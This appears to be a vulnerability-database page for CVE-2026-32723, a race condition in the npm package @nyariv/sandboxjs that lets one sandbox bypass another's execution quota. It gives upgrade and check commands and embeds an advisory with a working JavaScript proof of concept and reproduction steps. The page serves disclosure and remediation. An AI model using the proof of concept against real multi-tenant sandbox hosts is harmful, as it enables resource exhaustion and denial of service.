CVE-2026-32723: @nyariv/sandboxjs SandboxJS Has An Execution-quota Bypass Vulnerability
MODERATECVE-2026-32723 is a MODERATE sandboxjs has an execution-quota bypass vulnerability (CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves sandboxjs has an execution-quota bypass (cross-sandbox currentticks race) in sandboxjs timers. Remediation is available by upgrading affected packages to version 0.8.35.
CVE-2026-32723 at a Glance
How to Fix CVE-2026-32723
To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @nyariv/sandboxjs@0.8.35
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @nyariv/sandboxjs
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-32723, inspect your project dependencies using npm:
npm ls @nyariv/sandboxjs
Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.35), your application is affected.
Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), where the product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-32723 Affected @nyariv/sandboxjs Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@nyariv/sandboxjs
|
npm |
< 0.8.35
|
0.8.35
|
References
Frequently Asked Questions
What is CVE-2026-32723?
Which @nyariv/sandboxjs versions are affected?
What version fixes CVE-2026-32723?
Is @nyariv/sandboxjs affected?
What CWE is associated with CVE-2026-32723?
How can I check npm dependencies for CVE-2026-32723?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7p5m-xrh7-769r",
"modified" : "2026-03-19T21:11:10Z",
"published" : "2026-03-16T16:43:05Z",
"aliases" : [ "CVE-2026-32723" ],
"summary" : "SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers",
"details" : "## Summary\n\nAssumed repo path is `/Users/zwique/Downloads/SandboxJS-0.8.34` (no `/Users/zwique/Downloads/SandboxJS` found). A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.\n\n**Impact:** execution quota bypass → CPU/resource abuse \n\n---\n\n## Details\n\n- **Affected project:** SandboxJS (owner: nyariv)\n- **Assumed checked-out version:** `SandboxJS-0.8.34` at `/Users/zwique/Downloads/SandboxJS-0.8.34`\n\n### Vulnerable code paths\n\n- **`/src/eval.ts`** — `sandboxFunction` binds `ticks` using `ticks || currentTicks.current`:\n ```\n createFunction(..., ticks || currentTicks.current, { ...context, ... })\n ```\n Relevant lines: 44, 53, 164, 167.\n\n- **`/src/evaluator.ts` / `/src/executor.ts`** — global ticks:\n ```\n export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };\n ```\n and\n ```\n _execNoneRecurse(...) { currentTicks.current = ticks; ... }\n ```\n Relevant lines: ~1700, 1712.\n\n- **`sandboxedSetTimeout`** compiles string handlers at execution time, not at scheduling time, which lets `currentTicks.current` be the wrong sandbox's ticks when compilation occurs.\n\n---\n\n## Why This Is Vulnerable\n\n- `currentTicks.current` is global mutable state shared across all sandbox instances.\n- Timer string handlers are compiled at the moment the timer fires and read `currentTicks.current` at that time. If another sandbox runs between scheduling and execution, it can replace `currentTicks.current`. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.\n\n---\n\n## Proof of Concept\n\n> Run with Node.js; adjust path if needed.\n\n```js\n// PoC (run with node); adjust path if needed\nimport Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';\n\nconst globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };\nconst prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;\n\nconst sandboxA = new Sandbox({\n globals,\n prototypeWhitelist,\n executionQuota: 50n,\n haltOnSandboxError: true,\n});\nlet haltedA = false;\nsandboxA.subscribeHalt(() => { haltedA = true; });\n\nconst sandboxB = new Sandbox({ globals, prototypeWhitelist });\n\n// Sandbox A schedules a heavy string handler\nsandboxA.compile(\n 'setTimeout(\"let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;\", 0);'\n)().run();\n\n// Run sandbox B before A's timer fires\nsandboxB.compile('1+1')().run();\n\nsetTimeout(() => {\n console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });\n}, 50);\n```\n\n### Reproduction Steps\n\n1. Place the PoC in `hi.js` and run:\n ```\n node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js\n ```\n\n2. Observe output similar to:\n ```\n { haltedA: false, doneA: true }\n ```\n This indicates the heavy loop completed and the quota was bypassed.\n\n3. Remove the `sandboxB.compile('1+1')().run();` line and rerun. Output should now be:\n ```\n { haltedA: true }\n ```\n This indicates quota enforcement is working correctly.\n\n---\n\n## Impact\n\n- **Type:** Runtime guard bypass (execution-quota / watchdog bypass)\n- **Who is impacted:** Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.\n- **Practical impact:** Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.\n- **Does not (as tested) lead to:** Host object exposure or direct sandbox escape (no `process` / `require` leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@nyariv/sandboxjs"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.35"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.8.34"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7p5m-xrh7-769r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32723"
}, {
"type" : "WEB",
"url" : "https://github.com/nyariv/SandboxJS/commit/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nyariv/SandboxJS"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-362" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-16T16:43:05Z",
"nvd_published_at" : "2026-03-18T22:16:24Z"
}
}